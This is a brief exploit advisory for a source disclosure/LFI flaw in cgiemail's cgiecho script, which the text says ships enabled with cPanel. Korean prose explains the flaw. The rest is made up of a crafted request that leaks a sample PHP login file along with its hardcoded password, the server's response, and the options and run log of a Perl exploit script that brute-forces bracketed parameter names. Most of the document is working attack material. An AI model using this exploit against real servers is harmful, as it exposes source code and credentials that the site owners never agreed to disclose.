
Cgiemail - Source Code Disclosure/LFI
cgiecho는 cgiemail에 포함된 스크립트로, 파일에 대괄호가 포함되어 있고 대괄호 안의 텍스트를 추측할 수 있다면 웹사이트 문서 루트 아래의 모든 파일을 반환합니다.
cgiemail은 현재 cPanel과 함께 제공되며 기본적으로 활성화되어 있습니다.

<?php // http://hostname/login.php
if($_GET['user'] == 'admin' && $_GET['pass'] == 'thisissecure'){ /*...*/ }
http://hostname/cgi-sys/cgiecho/login.php?'pass'=['pass']
<HEAD><TITLE>Success</TITLE></HEAD>
<BODY>Processed form looks like this:<P><HR><PRE>
<?php // http://hostname/login.php
if($_GET == 'admin' && $_GET['pass'] == 'thisissecure'){ /*..*/ }
</PRE><P>
<P><EM>cgiemail
1.6
</EM></BODY>
Usage: ./cgiemail-exploit.pl [options] target
Options:
--names Check for names in commer separated list
--num Check for numbers
--num-max Maximum number to check (default 10)
--php Check PHP $_SERVER Variables
--batch Number of arguments sent per request (default 10)
--cgiecho-path Path of cgiecho on server (default '/cgi-sys/cgiecho/')
--user-agent Set user-agent (default 'Mozilla/5.0')
--deley Pause between requests in seconds (default 1)
--timeout Set connection timeout (default 10)
$ ./cgiemail-exploit.pl --num --names 'email,password' http://hostname/login.php > login.php
detected cgiemail 1.6
request 1 of 2...
success!
url: http://hostname//cgi-sys/cgiecho/login.php?0=[0]&1=[1]&2=[2]&3=[3]&4=[4]&5=[5]&6=[6]&7=[7]&8=[8]&9=[9]&